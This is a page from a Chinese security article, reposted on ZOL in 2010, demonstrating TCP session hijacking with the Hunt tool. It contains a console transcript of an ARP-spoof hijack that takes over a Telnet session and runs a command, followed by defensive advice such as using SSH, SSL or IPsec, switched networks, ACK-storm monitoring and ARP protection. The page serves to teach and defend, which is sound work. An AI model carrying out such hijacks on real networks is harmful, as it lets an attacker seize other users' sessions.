热点推荐
ZOL首页 > 企业安全 > 安全 > 攻防在线 >

会话劫持实例演示与防范技巧全攻略

会话劫持实例演示与防范技巧全攻略

doit 【转载】 2010年09月13日 09:56 评论

  攻击者的意图是获取主机B的passwd文件的内容,但由于注射式会话劫持缺陷,导致了ACK风暴,所以Hunt向会话双方发送了一个带RST标志位的TCP包来阻止ACK风暴。

  --- Main Menu --- rcvpkt 0, free/alloc 63/64 ------

  l/w/r) list/watch/reset connections

  u) host up tests

  a) arp/simple hijack (avoids ack storm if arp used)

  s) simple hijack

  d) daemons rst/arp/sniff/mac

  o) options

  x) exit

  *> a //进行中间人会话劫持

  0)192.168.0.1 [3862] ?192.168.0.20 [23]

  choose conn> 0

  arp spoof src in dst y/n [y]>

  src MAC [XX:XX:XX:XX:XX:XX]>

  arp spoof dst in src y/n [y]>

  dst MAC [XX:XX:XX:XX:XX:XX]>

  input mode [r]aw, [l]ine+echo+\r, line+[e]cho [r]>

  dump connectin y/n [y]> n

  press key to take voer of connection

  ARP spoof of 192.168.0.20 with fake mac XX:XX:XX:XX:XX:XX in host 192.168.0.1 FA

  ILED

  do you want to force arp spoof nutil successed y/n [y]>

  CTRL-C to break

  CTRL+C //手工输入CTRL+C中断,不需等待

  -- operation canceled - press any key>

  ARP spoof failed

  ARP spoof of 192.168.0.20 in host 192.168.0.1 FAILED

  you took over the connection

  CTRL-] to break

  -bash-2.05b\$id

  ....................

  在这次会话劫持实例的演示中,攻击者已经成功的劫持了主机A和B之间的Telnet会话。主机A输入的一切命令攻击者都可以看到,并且攻击者也可以自行插入命令。正如前边所说的,这种会话劫持方式先进行ARP欺骗,然后才劫持,所以,ACK风暴是不会出现的;而且,这种方式要比注射式会话劫持危害更大,从上文中我想就能看出来,我就不必在多说什么了。还有一些如Sniffer等功能,都很简单,由于已不在本文范畴,故不在多说。

  会话劫持防范

  防范会话劫持是一个比较大的工程。首先应该使用交换式网络替代共享式网络,虽然像Hunt这样的工具可以在交换环境中实现会话劫持,但还是应该使用交换式网络替代共享式网络,因为这样可以防范最基本的嗅探攻击。然而,最根本的解决办法是采用加密通讯,使用SSH代替Telnet、使用SSL代替HTTP,或者干脆使用IPSec/VPN,这样会话劫持就无用武之地了。其次,监视网络流量,如发现网络中出现大量的ACK包,则有可能已被进行了会话劫持攻击。

  还有一点是比较重要的,就是防范ARP欺骗。

给文章打分 5分为满分(共0人参与) 查看排行>>
上一页 1 2 
本文导航
  • 第2页:会话劫持实例演示与防范技巧全攻略
频道热词:云计算  服务器   无线路由器  
视觉焦点
企业安全安全热点
排行 文章标题
TOP10周热门硬盘录像机排行榜
  • 热门
  • 新品
查看完整榜单>>